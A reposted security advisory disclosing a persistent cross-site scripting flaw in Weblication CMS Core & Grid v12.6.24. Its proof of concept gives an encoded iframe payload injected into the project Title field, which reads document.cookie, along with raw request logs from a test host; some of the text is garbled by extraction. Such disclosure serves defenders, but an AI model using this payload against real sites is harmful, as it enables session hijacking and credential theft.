[FD] Weblication CMS Core & Grid v12.6.24 - Multiple Cross Site Scripting Vulnerabilities

Document Title: =============== Weblication CMS Core & Grid v12.6.24 - Multiple Cross Site Scripting Vulnerabilities References (Source): ==================== https://ift.tt/2EI1dt1 Release Date: ============= 2018-02-21 Vulnerability Laboratory ID (VL-ID): ==================================== 2121 Common Vulnerability Scoring System: ==================================== 3.5 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== https://ift.tt/2IYH6p4 Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent cross site vulnerability in the official Weblication CMS Core & Grid v12.006.024 CMS. Vulnerability Disclosure Timeline: ================================== 2018-02-21: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted authentication (user/moderator) - User privileges User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ A persistent cross site scripting vulnerability has been discovered in the official Weblication CMS Core & Grid v12.006.024 CMS. The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the service to compromise sensitive user data or affected web-application contents. The security vulnerability is located in the `wFilemanager.php` & `index.php` files of the `/grid5/scripts/` modules. The injection point is located in the Project `Title` and the execution point occurs in the `Inhaltsprojekte` output listing section. Remote attackers with privileged user accounts are able to inject own malicious script code with persistent attack vector to compromise user session credentials or to manipulate the affected web-application module output context. The request method to inject is POST and the attack vector is reflected. The injection point is located in the project Title and the execution point occurs in the Inhaltsprojekte output listing section. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected or connected application modules. Request Method(s): [+] POST Vulnerable File(s): [+] index.php [+] wFilemanager.php Vulnerable Input Field(s): [+] Title Affected Module(s): [+] Inhaltsprojekte Proof of Concept (PoC): ======================= The persistent vulnerability can be exploited by remote attackers with low privilege web-application user account and low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC Inject: Title https://ift.tt/2uo7cOR PoC Execute: Inhaltsprojekte https://ift.tt/2IYNQDq default.wVariables.php&target=be&selectedTab=&display=&action=startedit&referrer=%2Fde%2Findex.php&redirectEndEdit=&showFileOptions=&anchor= PoC: Payload "> PoC: Vulnerable Source

Projektbasis

Projekt basiert auf 

base_source

Zusätzliche Weblics Quellen 

base_sources_additional

z.B. password@http://IHREDOMAIN/vorlageprojekt

Inhaltsprojekte

 

/de Inhalte

/img-src-x-img-img-src-x-img- ">

Neben den globalen Projekteinstellungen können Sie weitere Einstellungen in den jeweiligen Inhalts- bzw. Sprachprojekten vornehmen.

Logo

Logo

PoC: Session Logs Status: 200[OK] POST https://ift.tt/2uo7cOR Mime Type[text/html] Request Header: Host[grid.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Content-Type[application/x-www-form-urlencoded] Content-Length[596] Referer[https://ift.tt/2uo7cOR] Cookie[WSESSIONID=2a3af57351f0a4ea3cbdd39ac5763954; wCc=1; lastCheckUpdate=1518869664242; lastVersion=012.006.024.000] Connection[keep-alive] Upgrade-Insecure-Requests[1] POST-Daten: action[editOptionsProject] path[%2Fimg-src-x-img-img-src-x-img-] title[%22%3E%3Ciframe+src%3D%22evil.source%22+onload%3Dalert%28document.domain%29%3E%2520% 22%3E%3Ciframe+src%3D%22evil.source%22+onload%3Dalert%28document.cookie%29%3E] pathProjectGlobal[%2Fdefault-wGlobal] pathProjectLayout[] language[br] projectConnect[%2Fimg-src-x-img-img-src-x-img-] hostOnly[] pageOffline[%2Fimg-src-x-img-img-src-x-img-%2FwGlobal%2Fcontent%2Ferrordocs%2Foffline.php] permissionDenied[%2Fimg-src-x-img-img-src-x-img-%2FwGlobal%2Fcontent%2Ferrordocs%2Fpermission-denied.php] W_PRETMP_groups%5B%5D[%5BW_ID%5D] backupGroup[] Response Header: Server[Apache/2.4.27] X-Powered-By[PHP/7.0.20] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate] Vary[Accept-Encoding] Keep-Alive[timeout=5, max=100] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html; charset=UTF-8] - Status: 200[OK] GET https://ift.tt/2uo7cOR Mime Type[text/html] Request Header: Host[grid.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Referer[https://ift.tt/2uq4uZi wGlobal/content/variables/default.wVariables.php&target=be&referrer=/de/index.php&display=default&editsource=&hasPlaceholdersToInsert=0] Cookie[WSESSIONID=2a3af57351f0a4ea3cbdd39ac5763954; wCc=1; lastCheckUpdate=1518869664242; lastVersion=012.006.024.000] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Server[Apache/2.4.27] X-Powered-By[PHP/7.0.20] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate] Pragma[no-cache] Content-Encoding[gzip] Vary[Accept-Encoding] Keep-Alive[timeout=5, max=97] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html; charset=UTF-8] - Status: 200[OK] GET https://ift.tt/2IYNTz6 Mime Type[text/html] Request Header: Host[grid.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Referer[https://ift.tt/2uo7cOR] Cookie[WSESSIONID=2a3af57351f0a4ea3cbdd39ac5763954; wCc=1; lastCheckUpdate=1518869664242; lastVersion=012.006.024.000] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Server[Apache/2.4.27] X-Powered-By[PHP/7.0.20] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate] Pragma[no-cache] Keep-Alive[timeout=5, max=96] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html; charset=UTF-8] Reference(s): https://ift.tt/2uo7fdv https://ift.tt/2IYH9Bg https://ift.tt/2uo7jdf https://ift.tt/2IYNVqI https://ift.tt/2ur54WN Solution - Fix & Patch: ======================= The vulnerability can be resolved by a sanitize of the delivered input through the wFilemanager.php file. Parse in the output location the execution point in the Inhaltsprojekte to resolve the issue. Security Risk: ============== The security risk of the persistent cross site scripting vulnerability in the web-application is estimated as medium (cvss 3.5). Credits & Authors: ================== Benjamin K.M. [research@vulnerability-lab.com] - https://ift.tt/2CTH1QS. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains: https://ift.tt/1jnqRwA - https://ift.tt/2oPbqHg - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™

Source: Gmail -> IFTTT-> Blogger